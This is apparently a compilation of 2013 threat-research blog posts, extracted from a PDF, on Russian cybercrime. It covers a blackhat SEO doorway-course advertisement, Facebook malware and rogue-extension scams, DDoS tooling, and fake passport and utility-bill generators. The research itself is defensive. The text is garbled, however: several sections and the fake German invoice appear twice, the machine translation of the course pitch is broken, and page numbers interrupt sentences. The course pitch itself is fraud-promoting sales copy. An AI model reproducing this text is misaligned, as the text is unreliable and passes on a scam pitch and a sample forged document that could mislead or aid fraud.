easily make dory, does pack and walk yourself getting denyuzhki, leaving room for other

results.

3.Zachem you sell?

4174

That's what I do - called infobiznesom admit, when all this started, I such a word and

znal.Est two concepts, with which you can ever accurately explain the infobiznesa, informa-

tion and insider information autsayder.Kogda-long ago, when I was dramas and gathering

information about them bit by bit on various forums - I was an outsider, I was not available

methods that can quickly lead to success, and everything had to be found by experiment, my

first income from went after 3 months and a naked enthusiasm nadezhdy.Pokupaya course

you get insider information, which is called the bat, straight to the kitchen where everything

is cooked, I do not sell super flow sheet, I only give an opportunity and take it for a fee, sell

their time and, in recent years, more and more nerves, which is why, in order to maintain this

non-renewable resource, and I wrote it, do not be lazy, read.

4.Kak guarantee that I Otobaya course?

No! Absolutely! Absolutely no, When we first started selling rate - while I was still able

to provide guarantees to score reviews, to prove to everyone that the theme works, but now

- no, no way! Your warranty - you, your desire, hard work , commitment - that guarantee

it, I can not guarantee anything I can not and will not, often when a person writes me word

guarantee, he wants me to take responsibility for his lazy ass over - No, I'm sorry.

5.Malenky advice, how to effectively master the course and see if it fits you

at all.

My experience learning heaps different people, still divided them into two types, this is

a huge difference, the gap between the two approaches to learning, results in a huge gap in

the success of these students.

The first type: people with pure slave mentality, they need to stick, do not explain, do not

need to seek understanding, just poke, push there, click here.

How he thinks: Suppose we make a template for Dora, and we need to

write deksripshen,

deskripshen - description of the site which comes out at the bottom under the link, his task -

to give information about the page and encourage people to move to tyknut ie sayt.On asks

me what write here, I explain what it is and I say write something that would please you, and

you would make pereyti.On in a stupor, he can not think and can not even offer the option, he

just wants me to tell him that there napisat.Eto not right!

The second type: The second type is often trying to organize all the information in the first

place to understand how things work, and there are already having a solid foundation and

framework - to batter me with questions and to increase their knowledge, for example of the

first type, the second type, after hearing deskripshen what and why it is, would compare with

my examples and offered his variant.Vot so you have to be, if you're so - I'll be glad to have

you in the ranks of students.

6.Tsena huge! Tc asshole, the course did not buy, but it's an asshole! Reviews

delete it!

Do not like the price - do not buy it, no one vparivaet, there is no hint of the imposition

of the course, under the gun more so no one makes pokupat.Golye hit and conclusions about

the course of those who did not buy it - please do not post, I immediately call the moderators,

all is removed, how can you talk about the course, not having been on FSU How we can

talk about what you do not know, if you were not in the motivation section on the forum

where dozens of success stories of students? I bought the course, learned, wrote otzyv.Ya a

moderator section only CEO and section on "Work" where this topic - I can not moderate.

4175

7.What I receive after payment?

Education - after payment receive video / txt + access to the forum, watch / read / do,

have questions - ask, discuss - send to the forum, no - rasskazyvayu.Esli you read the topic

that many people write that the chip in the forum, unnecessarily there is a lot of relevant info

and all you happy pomoch.Ves free software data - paid counterparts shown in forume.Dostup

forum and consultations Asik - unlimited.

8.Skolko need to successfully quick Start?

Then (in a week or another) will need $ 10-20 for vpn (both analog proxy / socks or

Dedicated Server) and 200-300 rubles for glanders.

9.Kak Otobaya fast I / osvoyu course?

Everything is individual, calculate and even about to say (to you) this time period may

depend both on the human factor (your knowledge, experience) and on Yandex, which is quite

nepredskazuem.Osnovyvayas on the experience of previous students gives dor $ 200 4 up to

30 days after the publication of indeks.3-4 apa usually climbs Dor ups are completely random,

look here http://seobudget.ru/updates labeled SERP.

10.Rynok forum.

In our forum, which you can access after purchase - there is a market, as in any other

forum, it is an integral part of the forum who wants to live, and in the end we are all in this

forum for one reason - we all want to make money someone else has earned, someone just

nachinaet.V Unlike other forums - the market for FSU controlling me, he monopolizirovan.

Kursy of its kind in the forum - I only sell and no other, their commercial activities in the forum

- with me coordinate is not necessary, but if it is removed - so she does not belong here.

9.4.5 What's the ROI on Going to a Virtual Blackhat SEO School? (2013-04-17 23:45)

4196

For years, fraudulent or **[1] purely malicious actors** have been abusing the online advertising

market, by **[2] directly hijacking** and redirecting **[3] the revenue flow**, or by **[4] successfully**

and efficiently hijacking as much percentage of legitimate search traffic as possible, and

monetizing it through the use of [5]**blackhat SEO (search engine optimization) tactics/shady**

affiliate networks.

[6]**Monetizing the very monetization process?** Standardizing the revenue generation, and

knowledge spreading streams, achieving efficiencies in the process, and directly contributing

to a new, this time better trained/educated generation of Blackhat SEO-ers? Someone he's

knowingly or unknowingly on a mission. A mission with a brand.

In this post, I'll profile a highly successful [7]**blackhat SEO** 'school" that promises the

Moon, but asks for nothing except $1,000 for the training course, which will turn you into a

sophisticated blackhat SEO expert, netting you huge amounts of money.

4197

Operating in the open since 2010, the service is currently (2013) asking for $350, pre-

sumably to keep the new customers flow going. Since it's initial launch data, the business

model has been relying on a loyal set of people who already "took" the course, and continue

making money up to present day. A loyalty and happy customer "feedback" best demon-

strated by featuring exclusive screenshots courtesy of the happy customers.

Initial forum advertisement:

Welcome to the forum millionaires! So, I decided, now I will welcome the new students.

And you know why?

My course, and our forum for more than two years, and during that time

has accumu-

lated a huge pile of reviews with the statistics. Wondered how many of my students have

earned over 2 years on my course?

And it turned out that except cars, apartments, purely according to PP, pupils together earned

17 million rubles! And it is only those who have shown their statistics. And I think in 2 years

they could make a few more millions. (Figure is slightly inaccurate to 9 lines in a notebook I got

tired and started to round + decided not to take into account the 3,000,000 earnings per pupil)

In two years, we have made dozens of millionaires in Russia, Ukraine and Belarus Their

lives changed immediately, as soon as they hit the family. People sitting in debt in a few

months to buy a new car.

People are sitting at their desks yesterday brought home two monthly salaries parents,

and explained that it is unashamedly from the Internet, it is their earnings!

People who are already my course have been very successful become even more suc-

cessful. The forum is stable enough people who earn a day 50-60 thousand rubles. This is not

theoretical, not uncle in suits, this is the same young guys like you or me.

Although I must admit, the forum is and uncle in suits for 30-40 years, primarily to get

through doorways capital to support their business.

And all these people realize that they are family, friends, and they willingly associate,

dividing their experiences, secrets! Access to the course - it is a unique opportunity to touch

the thought of successful people, to breathe the same air with them, get their energy and join

the ranks of millionaires.

As early as the year, the forum has two tech support, and username, people are few

easy counseled hundreds of students and even if they did not do dory - would know what the

perfect doorway.

BUT! They do work, make Dora always advise how to make your doorway even better

4198

answer the most stupid question, and will lead to the most stable earnings.

Now, if you are reading these lines and think that $ 1000 for access and the opportunity

to become a millionaire in 24\7 support from a support, for the opportunity to be in the new

family is expensive, I never selling you access.

We need people who value themselves, their money and time.

If $ 1,000 seems to you

a great price, then you will never become a millionaire from the internet and you simply do

not want my family.

Imagine you paid $ 1,000 in the bank say, come back every day to ask questions and

get a month - $ 100,000, it is tempting? Here's a bank - this is our forum. And 80 pages of

reviews stands surety for this bank.

You may think, but what for me is all good topic no one will sell!

And I grieve you, it's not the topic, not the scheme, not the holy grail, it's work.

Work

by a support forum and make it so simple that you will forget the times when you have not

worked with doorways.

A successful guys will charge you so much energy that the work will be for you the best thing

in life. You're going to sleep at 4:00, waking up in the middle of the night with burning eyes,

watch as your dorveychiki live there, and how many thousands have already dripped while

you were sleeping.

Through it all the disciples, and I think they would give, and 10 and 100 thousand dollars to

get through it again.

But there is a dump in a Public Forum, everything is - you say.

And I'll tell you the story of how one day I lost the backup of offline and restored the fo-

rum 15 minutes ago from what it was last time. And it was a huge mistake! Lost about 50

messages, 12 topics and 5-6 blog posts! The disciples were indignant. On our forum mad

update rate, and dump the last year and the relevance of information out there already in

negative degrees and I am afraid that only harms doorways.

But I can learn myself! Yes you can, spend a few years on independent learning.

And you can put a time out and spend $ 1000 on an active training week and immedi-

ately makes the doorways correctly. Once again, we are waiting for our club anonymous

millionaires of people who know the value of money and his own time, who want to invest in

yourself, earn, and not break your head against the wall, when there are people who will show

how to get around.

Course can be purchased on the preliminary interview in ICQ price - $ 1000.

And remember, we are, we need special people, very few of them, they are people who

are willing to invest in yourself and do not try to save yourself cheaply though. So I throw

in ICQ to ignore anyone who asks me for a discount or credit. I understand that in spite of

the 80-page review, you may be unsure if it will work with you. Therefore, we give a new

4199

guarantee manibeka. If two weeks you feel - that doorway - it's not yours, we will refund the

money and pay the top 5 million rubles, for what you have spent your time!

Frequently Asked Questions (FAQ)

Good day, and now its time to answer all the questions a novice who wants to buy a

course to dot the i, made to understand that he buys, he will get what may dobitsya.Nus's

begin.

1.Chem we do?

Black seo.Dorvei.Dory are very flexible and tenacious tool for earnings, its flexibility due

to the variety of topics and types of monetization, and vitality - the existence of PS, and how

long will exist as long as the search engines will be using dory. We produce traffic, ie the

users, ie the people, the traffic is the blood in the veins of the internet, and this is the main

advantage that dorveyschik unlike white SEOs can in a short time to break a lot more traffa a

completely different subjects and to merge it back where it needs . in a simple version of all

is:

1.Registriruemsya an affiliate program, it gives you the choice of partner sites of some topics

(topics vary from porn and finishing all kinds of divination), statistics (to track kollvo coming

to your site, paid for kollvo, Colva who have come again).

2.Delaem doorway, we find:

- Thematic traffistye quality keys (which are appropriate to the site subject we took from PP)

- Template

- Text

All this is described in detail in the course and on the forum.

3.Zalivaem doorway to shell

4.Zhdem 4.3 apa (an - update Yandex search results, also known as SERP, quite by chance,

usually up to one week, sometimes more)

5.Poluchaem traff and accordingly money.

Well this is just a simple and obvious option, work with SMS affiliate, to start - the fact that

many small minded people to talk about the thousandth time of death doorways as income,

just because of the changes in the SMS payment, it's wrong, it's stupid, it's self-deception to

deceive drugih.I as, say, we have learned to produce traffic, our traffic started to give Dora

and now we have to redirect it somewhere ie merge and convert / convert into money, a lot

of options:

1.Partnerki with sms payment, the most obvious and as I wrote the best option to start.

2.Partnerki pay-per-download and install the file, such PP a lot, and they are all different, from

the fact that you are paying for the jump and the malicious Trojan or whether something like

that, to quite formal type of games WORLD of-tanks, Yandex bars etc. and tp.Imeya large

amounts of traffic (which is the second task dorveyschika, increase the volume of traffic) in

the first and in the second option holders PP will take you with open arms and make bonuses.

3.Svoi online shopping and platniki.V this topic a little feedback from these guys, as many

prefer to work with SMS and other PP, but byvali.Odin met some of the students at comrade

serche, he did an Internet jewelry store and the problem was my student in the production of

traffic, he quickly picked up, done and grabbed a piece of the profit.

All that I wrote just for you to understand, I teach mine traffic, targeted traffic from search

engines, I would suggest the best methods of monetization, by which usually fight off the

course, but never forget that you have a great opportunity to go and grab a piece of the traffa

on desired topics with Yandex and merge where necessary.

2.Navernoe topic died, bought her so much, so long existed, much is competi-

tion?

I am for all the time of sale of the course has experienced the death of a thousand and

one as the reward scheme, but that's amazing, for some reason all those who want to -

successfully earn dorah.Chto for competition - in dorah very high turnover, namely Dora

always fly into the index (Yandex search) and flew over, it's all backed by the characteristic

features of the behavior dorveyschika and dorveyschik often tasting dough, he realized how

easily make dory, does pack and walk yourself getting denyuzhki, leaving room for other

results.

3.Zachem you sell?

That's what I do - called infobiznesom admit, when all this started, I such a word and

znal.Est two concepts, with which you can ever accurately explain the infobiznesa, informa-

tion and insider information autsayder.Kogda-long ago, when I was

dramas and gathering

information about them bit by bit on various forums - I was an outsider, I was not available

methods that can quickly lead to success, and everything had to be found by experiment, my

first income from went after 3 months and a naked enthusiasm nadezhdy.Pokupaya course

you get insider information, which is called the bat, straight to the kitchen where everything

is cooked, I do not sell super flow sheet, I only give an opportunity and take it for a fee, sell

their time and, in recent years, more and more nerves, which is why, in order to maintain this

non-renewable resource, and I wrote it, do not be lazy, read.

4.Kak guarantee that I Otobaya course?

No! Absolutely! Absolutely no, When we first started selling rate - while I was still able

to provide guarantees to score reviews, to prove to everyone that the theme works, but now

- no, no way! Your warranty - you, your desire, hard work , commitment - that guarantee

it, I can not guarantee anything I can not and will not, often when a person writes me word

guarantee, he wants me to take responsibility for his lazy ass over - No, I'm sorry.

5.Malenky advice, how to effectively master the course and see if it fits you

at all.

My experience learning heaps different people, still divided them into two types, this is

a huge difference, the gap between the two approaches to learning, results in a huge gap in

the success of these students.

The first type: people with pure slave mentality, they need to stick, do not explain, do not

need to seek understanding, just poke, push there, click here.

How he thinks: Suppose we make a template for Dora, and we need to write deksripshen,

deskripshen - description of the site which comes out at the bottom under the link, his task -

to give information about the page and encourage people to move to tyknut ie sayt.On asks

me what write here, I explain what it is and I say write something that would please you, and

you would make pereyti.On in a stupor, he can not think and can not even offer the option, he

just wants me to tell him that there napisat.Eto not right!

The second type: The second type is often trying to organize all the information in the first

4201

place to understand how things work, and there are already having a solid foundation and

framework - to batter me with questions and to increase their knowledge, for example of the

first type, the second type, after hearing deskripshen what and why it is, would compare with

my examples and offered his variant.Vot so you have to be, if you're so - I'll be glad to have

you in the ranks of students.

6.Tsena huge! Tc asshole, the course did not buy, but it's an asshole!

Reviews

delete it!

Do not like the price - do not buy it, no one vparivaet, there is no hint of the imposition

of the course, under the gun more so no one makes pokupat.Golye hit and conclusions about

the course of those who did not buy it - please do not post, I immediately call the moderators,

all is removed, how can you talk about the course, not having been on FSU How we can

talk about what you do not know, if you were not in the motivation section on the forum

where dozens of success stories of students? I bought the course, learned, wrote otzyv.Ya a

moderator section only CEO and section on "Work" where this topic - I can not moderate.

7.What I receive after payment?

Education - after payment receive video / txt + access to the forum, watch / read / do,

have questions - ask, discuss - send to the forum, no - rasskazyvayu.Esli you read the topic

that many people write that the chip in the forum, unnecessarily there is a lot of relevant info

and all you happy pomoch.Ves free software data - paid counterparts shown in forume.Dostup

forum and consultations Asik - unlimited.

8.Skolko need to successfully quick Start?

Then (in a week or another) will need $ 10-20 for vpn (both analog proxy / socks or

Dedicated Server) and 200-300 rubles for glanders.

9.Kak Otobaya fast I / osvoyu course?

Everything is individual, calculate and even about to say (to you) this time period may

depend both on the human factor (your knowledge, experience) and on Yandex, which is quite

nepredskazuem.Osnovyvayas on the experience of previous students gives dor $ 200 4 up to

30 days after the publication of indeks.3-4 apa usually climbs Dor ups are completely random,

look here http://seobudget.ru/updates labeled SERP.

10.Rynok forum.

In our forum, which you can access after purchase - there is a market, as in any other

forum, it is an integral part of the forum who wants to live, and in the end we are all in this

forum for one reason - we all want to make money someone else has earned, someone just

nachinaet.V Unlike other forums - the market for FSU controlling me, he monopolizirovan.

Kursy of its kind in the forum - I only sell and no other, their commercial activities in the forum

- with me coordinate is not necessary, but if it is removed - so she does not belong here.

9.5.1 Summarizing Webroot's Threat Blog Posts for April (2013-05-01 14:32)

The following is a brief summary of all of my posts at Webroot's Threat Blog for April, 2013.

You can subscribe to [1]**Webroot's Threat Blog RSS Feed**, or follow me on Twitter:

01. [2]DIY Java-based RAT (Remote Access Tool) spotted in the wild

02. [3]Spamvertised 'Re: Changelog as promised' themed emails lead to malware

03. [4]Cybercrime-friendly service offers access to tens of thousands of compromised ac-

counts

04. [5]Madi/Mahdi/Flashback OS X connected malware spreading through Skype

05. [6]Cybercriminals selling valid 'business card' data of company

executives across multiple

verticals

06. [7]A peek inside the ‘Zerokit/0kit/ring0 bundle’ bootkit

07. [8]DIY Skype ring flooder offered for sale

08.

[9]Spamvertised ‘Your order for helicopter for the weekend’ themed emails lead to

malware

09. [10]A peek inside a ‘life cycle aware’ underground market ad for a private keylogger

10. [11]American Airlines ‘You can download your ticket’ themed emails lead to malware

11. [12]Cybercriminals offer spam-friendly SMTP servers for rent

4225

12. [13]How mobile spammers verify the validity of harvested phone numbers – part two

13. [14]A peek inside a (cracked) commercially available RAT (Remote Access Tool)

14. [15]DIY Russian mobile number harvesting tool spotted in the wild

15. [16]DIY SIP-based TDoS tool/number validity checker offered for sale

16. [17]CAPTCHA-solving Russian email account registration tool helps facilitate cybercrime

17. [18]Historical OSINT – The ‘Boston Marathon explosion’ and ‘Fertilizer plant explosion in

Texas’ themed malware campaigns

18. [19]Fake ‘DHL Delivery Report’ themed emails lead to malware

19. [20]Cybercriminals impersonate Bank of America (BofA), serve malware

20. [21]How fraudulent blackhat SEO monetizers apply Quality Assurance (QA) to their DIY

doorway generators

21. [22]Managed 'Russian ransomware' as a service spotted in the wild

9.5.2 Fake 'Facebook Profile Spy Application' Campaign Spreading Across Facebook

(2013-05-24 18:58)

Over the last couple of days, multi-tasking cybercriminals have been spreading a "Facebook

Profile Spy" campaign across Facebook, enticing users into installing a rogue Chrome exten-

sion, next to monetizing the campaign through an unethical pseudo-mobile marketing agency,

known as Prizerally.

Sample redirection chain:

As well as the following malicious MD5s phoning back to the same IP in the past:

[1]MD5: e315a877c58773ce82cc32fc192bdfa5

[2]MD5: 1cd4c2a2b2143689b185e064dc6c331c

[3]MD5: 26c5102e75daf3d3c696ad719bc55ad4

Prizerally's scheme is fairly simple:

Service costs £3 per question played and a £4,50 sign up fee applies. You will receive an

4236

additional £1.50 charge for a reminder message tomorrow. Winners will be contacted every

first businessweek of the month, all question entries must be received before 00.00 on the

last day of the month. This is not a subscription service. Minimum age 18+ with bill payer's

permission. One prize available per service per month. Customer service: call 0800 408 0796,

email uk@prizerally.com or visit the website: www.prizerally.com. Play the game on your

mobile. The winner will be selected among all participants in the first business week of every

month. When participating you acknowledge that you agree to the terms & conditions, you are

a resident of the UK, 18 years or older and authorized account holder and/or that you have the

consent of the accountholder. £3 per question. This service is a product of Mypengo Mobile.

Free entry method: send an email with your name, phonenumber, and prize you want to win

to info@prizerally.com. Prizerally is not affiliated with, sponsored by or

endorsed by any of the

listed products or retailers. Trademarks, service marks, logos (including, without limitation,

the individual names of products and retailers) are the property of their respective owners.

When you see one of our Products on the Internet, you can start receiving our content via

SMS (i.e. text message). You can enter your mobile telephone number on the landing pages

via the Internet and confirm your registration. You hereby agree to the Terms and Conditions.

Prizerally charges you £3,00 per question played. Each sent answer will be followed by a new

question. If you stop sending answers you will not receive any more messages. Once stopped

you will receive one extra £1,50 reminder message. To stop this message, simply text STOP

to 85150. From this moment on you have to decide on your own if you will continue to play

for more points. By answering a question, you will receive a new messages containing a new

puzzel/question also chargeble at £ 1,50 per text message received. When you stop sending

answers the game will end. O2 and Orange customers can only spend the maximum amount

of £ 30.00 a day. This spending cap applies for one day, so the next day these customers are

eligble to play again. The maximum amount you can spend on our Prizerally service is £ 99.00.

9.5.3 Fake 'Facebook Profile Spy Application' Campaign Spreading Across Facebook

(2013-05-24 18:58)

4237

Over the last couple of days, multi-tasking cybercriminals have been spreading a "Face-

book Profile Spy" campaign across Facebook, enticing users into installing a rogue Chrome

extension, next to monetizing the campaign through an unethical pseudo-mobile marketing

agency, known as Prizerally.

Sample redirection chain:

Prizerally's scheme is fairly simple:

Service costs £3 per question played and a £4,50 sign up fee applies.

You will receive

an additional £1.50 charge for a reminder message tomorrow. Winners will be contacted

every first businessweek of the month, all question entries must be received before 00.00

on the last day of the month. This is not a subscription service. Minimum age 18+ with

bill payer's permission. One prize available per service per month. Customer service: call

0800 408 0796, email uk@prizerally.com or visit the website: www.prizerally.com. Play the

game on your mobile. The winner will be selected among all participants in

the first business

week of every month. When participating you acknowledge that you agree to the terms &

conditions, you are a resident of the UK, 18 years or older and authorized account holder

and/or that you have the consent of the accountholder. £3 per question. This service is a

product of Mypengo Mobile. Free entry method: send an email with your name, phonenumber,

and prize you want to win to info@prizerally.com. Prizerally is not affiliated with, sponsored

by or endorsed by any of the listed products or retailers. Trademarks, service marks, logos

(including, without limitation, the individual names of products and retailers) are the property

of their respective owners. When you see one of our Products on the Internet, you can start

receiving our content via SMS (i.e. text message). You can enter your mobile telephone

number on the landing pages via the Internet and confirm your registration. You hereby agree

to the Terms and Conditions. Prizerally charges you £3,00 per question played. Each sent

answer will be followed by a new question. If you stop sending answers you will not receive

any more messages. Once stopped you will receive one extra £1,50 reminder message. To

stop this message, simply text STOP to 85150. From this moment on you have to decide on

your own if you will continue to play for more points. By answering a question, you will receive

a new messages containing a new puzzel/question also chargeble at £ 1,50 per text message

received. When you stop sending answers the game will end. O2 and Orange customers can

only spend the maximum amount of £ 30.00 a day. This spending cap applies for one day, so

the next day these customers are eligble to play again. The maximum amount you can spend

on our Prizerally service is £ 99.00.

Facebook has been notified. The rogue Chrome extension has already been removed.

Updates will be posted as soon as new developments take place.

Peek

Inside

the

Russian

Underground

Market

for

Fake

Docu-

ments/IDs/Passports (2013-05-25 18:52)

[1]**Fake IDs/fake passports** have always been a hot [2]**commodity within the cybercrime**

ecosystem.

Thanks to their general availability and affordable prices – naturally based on the qual-

ity that a potential cybercriminal/fraudster is seeking – the vendors behind them continue

undermining the trust chain that society/market thrives on, by empowering cybercriminals

and fugitives with new IDs to be later on used in related fraudulent activities.

In this post, I'll sample fraudulent activity on the Russian underground marketplace, fea-

ture exclusive screenshots of fake passports currently offered for sale, and discuss how

relatively low profile cybercriminals have been literally generating fake (Russian) passports

for years, primarily relying on DIY passport/stamp generating tools.

Sample screenshots of the inventory of available fake passports for multiple countries:

Affected countries include: Russia, Belarus, Canada, Germany, Denmark, Finland, Israel,

Netherlands (Holland), Norway, Romania, United Kingdom, United States, Australia, Ukraine.

The prices vary between $20-30, and according to the vendors, use real people's data/photos

etc.

It's also worth emphasizing on the fact that, of all the countries, Russia's underground

marketplace for fake documents is perhaps the most vibrant one. Next to high-quality fake

documments/IDs/passports, they’re naturally the cheap alternatives, which Russian fraudsters

have been literally generating for years, relying on DIY (do-it-yourself) tools/stamp editors like

these:

Thanks to the demand for such kind of underground market assets, I'm

certain that that

market would continue flourishing, and would eventually reach a stage where the vendors

would start sacrificing OPSEC (Operational Security) in an attempt to reach customers from

virtually every country.

With localization on demand services proliferating, next to the

ubiquitous for the cybercrime ecosystem, affiliate based revenue-sharing models, vendors of

fake documents/IDs/passports, have virtually everything that they need at their disposal, if

they were to start targeting the international audience.

This post has been reproduced from [3]Dancho Danchev's blog.

Affected countries include: Russia, Belarus, Canada, Germany, Denmark, Finland, Israel,

Netherlands (Holland), Norway, Romania, United Kingdom, United States, Australia, Ukraine.

The prices vary between $20-30, and according to the vendors, use real people's data/photos

etc.

It's also worth emphasizing on the fact that, of all the countries, Russia's underground

marketplace for fake documents is perhaps the most vibrant one. Next to high-quality fake

documments/IDs/passports, they’re naturally the cheap alternatives, which Russian fraudsters

have been literally generating for years, relying on DIY (do-it-yourself) tools/stamp editors like

Thanks to the demand for such kind of underground market assets, I'm

certain that that

market would continue flourishing, and would eventually reach a stage where the vendors

would start sacrificing OPSEC (Operational Security) in an attempt to reach customers from

virtually every country.

With localization on demand services proliferating, next to the

ubiquitous for the cybercrime ecosystem, affiliate based revenue-sharing models, vendors of

fake documents/IDs/passports, have virtually everything that they need at their disposal, if

they were to start targeting the international audience.

9.6.2 Malware-Serving "Who's Viewed Your Facebook Profile" Campaign Spreading

Across Facebook (2013-06-10 15:07)

A currently ongoing Facebook spreading malware-serving campaign, entices users into

downloading and executing a malicious executable, pretending to be a " *Who's Viewed Your*

Facebook Profile" extension. In reality though, the executable, part of a campaign that's been

ongoing for several months, will steal private information from local browsers, will auto-start

on Windows starup, and will attempt to infect all of the victim's friends across Facebook.

The executable, including several other related executables part of the campaign, are

currently hosted on Google Code, and according to Google Code's statistics, one of the mali-

cious files has already been downloaded 1,870,788 times. Surprisingly, the Coode Project is

called " *Project Don't Download*". Very interesting self-contradicting social engineering attempt.

Let's dissect the campaign, list the domain's portfolio used in it, provide detection rates

for the malicious executables, and connect the campaign to multiple other campaigns ob-

served in the wild over the last couple of weeks.

9.6.4 'Anonymous' Group's DDoS Operation Titstorm (2013-06-12 20:01)

4319

With last months [1]'Anonymous' Group's DDoS Operation Titstorm campaign a clear success

based on the real-time monitoring of the crowdsourcing-driven attack, it's time to take a brief

retrospective on the tools and tactics used, and relate

• Go through an analysis of 2009's failed **[2] Operation Didgeridie DDoS campaign**

Why is Operation Titstorm an important one to profile? Not only because it worked compared

to **[3] Operation Didgeridie**, but also, due to the fact that crowdsourcing driven (malicious

culture of participation) DDoS attacks have proven themselves throughout the past several

years, as an alternative to DDoS for hire attacks.

- DIY ICMP flooders

- Web based multiple iFrame loaders to consume server CPU

- Web based email bombing tools + predefined lists of emails belonging to government offi-

cials/employees

Go through related posts on crowdsourcing DDoS attacks/ malicious culture of participa-

tion:

This case is a great example of one of the core practices when profiling cybercrime inci-

dents and campaigns -> sample everything, as what you're originally seeing is just the tip of

the iceberg.

9.6.6 Fake 'Rihanna & Chris Brown S3X Video' Spam Campaign Spreading Across

Facebook, Monetized Through Adf Dot Ly PPC Links (2013-06-22 10:56)

A currently ongoing, click-jacking driven spam campaign is circulating across Facebook, with

the affected users further spreading the **adf.ly** links on the Walls of

their friends, in between

tagging them, with the cybercriminal/cybercriminals behind the campaign, earning revenue

through the **adf.ly** pay-per-click (PPC) monetization scheme.

9.7.2 Newly Launched 'Scanned Fake Passports/IDs/Credit Cards/ Utility Bills' Ser-

vice Randomizes and Generates Unique Fakes On The Fly (2013-07-04 19:42)

In my most recent analysis of the [1]**Russian underground marketplace for fake docu-**

ments/IDs/passports, I emphasized on overall prevalence of fake identities, which can be

both, manually 'crafted' by experienced designers possessing high quality scanned originals

in order to produce physical copies, or automatically generated, with the users sacrificing

quality in the process or looking for a bargain deal.

What's also worth emphasizing on in terms of discussing this cybercrime ecosystem market

segment from multiple perspectives, is the overall international acceptance of scanned

identification documents for various remote identification purposes, which opens doors to

the systematic abuse of a vast number of legitimate services, as well as helps facilitate the

generation of fake personalities, which can be abused in a any way the fraudster desires.

What are some of the latest developments within this cybercrime ecosystem market

segment? The introduction of a scalable, [2]**DIY (do it yourself)** self-service on the basis of a

pseudo-randomized database of fake identity data, photo IDs with randomized appearance

characteristics on the fake scanned documents, to avoid detection of a single pattern, all

available as a service, as of June, 2013.

Basically, what this service does, is to provide a DIY Web based interface where users

can take advantage of the on-the-fly generation of fake scanned copies of identification

documents such as passports/IDs or credit cards. According to the vendor, the service has

an inventory of over 200 photos for passports and IDs, is completely randomizing multiple

aspects of the generated scanned fakes, in an attempt to mitigate the probability of having

an entire set of statically generated fakes, easily detected by, for instance, law enforcement.

The vendor also claims that the service can generate a fake in approximately 40 sec-

onds. Payment methods accepted? WebMoney, PerfectMoney, Bitcoin and Paymer.

Sample screenshots of sample scanned fakes generated using the service, and offered

as samples:

Rechnung **04 Juni 2013**

Sehr geehrter Herr Ludwig,
vielen Dank, dass Sie sich im zurückliegenden Abrechnungszeitraum für die EWE AG als Ihren Partner für Energie und Dienstleistungen entschieden haben. Aus unseren Leistungen ergibt sich folgende Rechnung:

	Menge	netto Euro	MwSt Euro	brutto Euro
Strom	5.568 kWh	854,81	147,18	1,048,95
Zusatzkosten		3,00	1,00	4,00
Rechnungsbetrag		851,81	147,18	998,99
abzüglich Ihrer bis zum 28.05.2013 geleisteten Abschlagszahlungen		754,29	101,64	855,93
von Ihnen zu zahlender Betrag				143,06

Der von Ihnen zu zahlende Betrag wird zusammen mit dem 1. Abschlagsbetrag von folgendem Bankkonto angefordert:
Sparkasse
Konto 0010643138
Bankleitzahl 29050101

Für den neuen Abrechnungszeitraum haben wir folgenden Abschlagsbetrag ermittelt:

Abschlagsbetrag	netto Euro	MwSt %	MwSt Euro	brutto Euro
Strom	92,25	19	17,53	109,78
Abschlagsbetrag				109,78

Der Abschlagsbetrag ist erstmals am 27,05,2013 fällig und danach jeweils zum 1. eines jeden Monats bis einschl.
Die beträge werden zu den genannten Terminen vom o.g. Bankkonto angefordert.

Rechnungsnummer 2013/00826145 für Prüfzwecke der zuständigen Finanzbehörde (bitte **nicht** zu Zahlungswecken angeben).

9.7.3 Newly Launched 'Scanned Fake Passports/IDs/Credit Cards/ Utility Bills' Ser-

vice Randomizes and Generates Unique Fakes On The Fly (2013-07-04 19:42)

In my most recent analysis of the [1]**Russian underground marketplace for fake docu-**

ments/IDs/passports, I emphasized on overall prevalence of fake identities, which can be

both, manually 'crafted' by experienced designers possessing high quality scanned originals

in order to produce physical copies, or automatically generated, with

the users sacrificing

quality in the process or looking for a bargain deal.

What's also worth emphasizing on in terms of discussing this cybercrime ecosystem market

segment from multiple perspectives, is the overall international acceptance of scanned

identification documents for various remote identification purposes, which opens doors to

the systematic abuse of a vast number of legitimate services, as well as helps facilitate the

generation of fake personalities, which can be abused in a any way the fraudster desires.

What are some of the latest developments within this cybercrime ecosystem market

segment? The introduction of a scalable, [2]**DIY (do it yourself)** self-service on the basis of a

4359

pseudo-randomized database of fake identity data, photo IDs with randomized appearance

characteristics on the fake scanned documents, to avoid detection of a single pattern, all

available as a service, as of June, 2013.

Basically, what this service does, is to provide a DIY Web based interface where users

can take advantage of the on-the-fly generation of fake scanned copies of identification

documents such as passports/IDs or credit cards. According to the vendor, the service has

an inventory of over 200 photos for passports and IDs, is completely randomizing multiple

aspects of the generated scanned fakes, in an attempt to mitigate the probability of having

an entire set of statically generated fakes, easily detected by, for instance, law enforcement.

The vendor also claims that the service can generate a fake in approximately 40 sec-

onds. Payment methods accepted? WebMoney, PerfectMoney, Bitcoin and Paymer.

Sample screenshots of sample scanned fakes generated using the service, and offered

as samples:

Rechnung **04 Juni 2013**

Sehr geehrter Herr Ludwig,
vielen Dank, dass Sie sich im zurückliegenden Abrechnungszeitraum für die EWE AG als Ihren Partner für Energie und Dienstleistungen entschieden haben. Aus unseren Leistungen ergibt sich folgende Rechnung:

	Menge	netto Euro	MwSt Euro	brutto Euro
Strom	5.568 kWh	854,81	147,18	1,048,95
Zusatzkosten		3,00	1,00	4,00
Rechnungsbetrag		851,81	147,18	998,99
abzüglich Ihrer bis zum 28.05.2013 geleisteten Abschlagszahlungen		754,29	101,64	855,93
von Ihnen zu zahlender Betrag				143,06

Der von Ihnen zu zahlende Betrag wird zusammen mit dem 1. Abschlagsbetrag von folgendem Bankkonto angefordert:
Sparkasse
Konto 0010643138
Bankleitzahl 29050101

Für den neuen Abrechnungszeitraum haben wir folgenden Abschlagsbetrag ermittelt:

Abschlagsbetrag	netto Euro	MwSt %	MwSt Euro	brutto Euro
Strom	92,25	19	17,53	109,78
Abschlagsbetrag				109,78

Der Abschlagsbetrag ist erstmals am 27,05,2013 fällig und danach jeweils zum 1. eines jeden Monats bis einschl.
Die beträge werden zu den genannten Terminen vom o.g. Bankkonto angefordert.

Rechnungsnummer 2013/00826145 für Prüfzwecke der zuständigen Finanzbehörde (bitte **nicht** zu Zahlungswecken angeben).

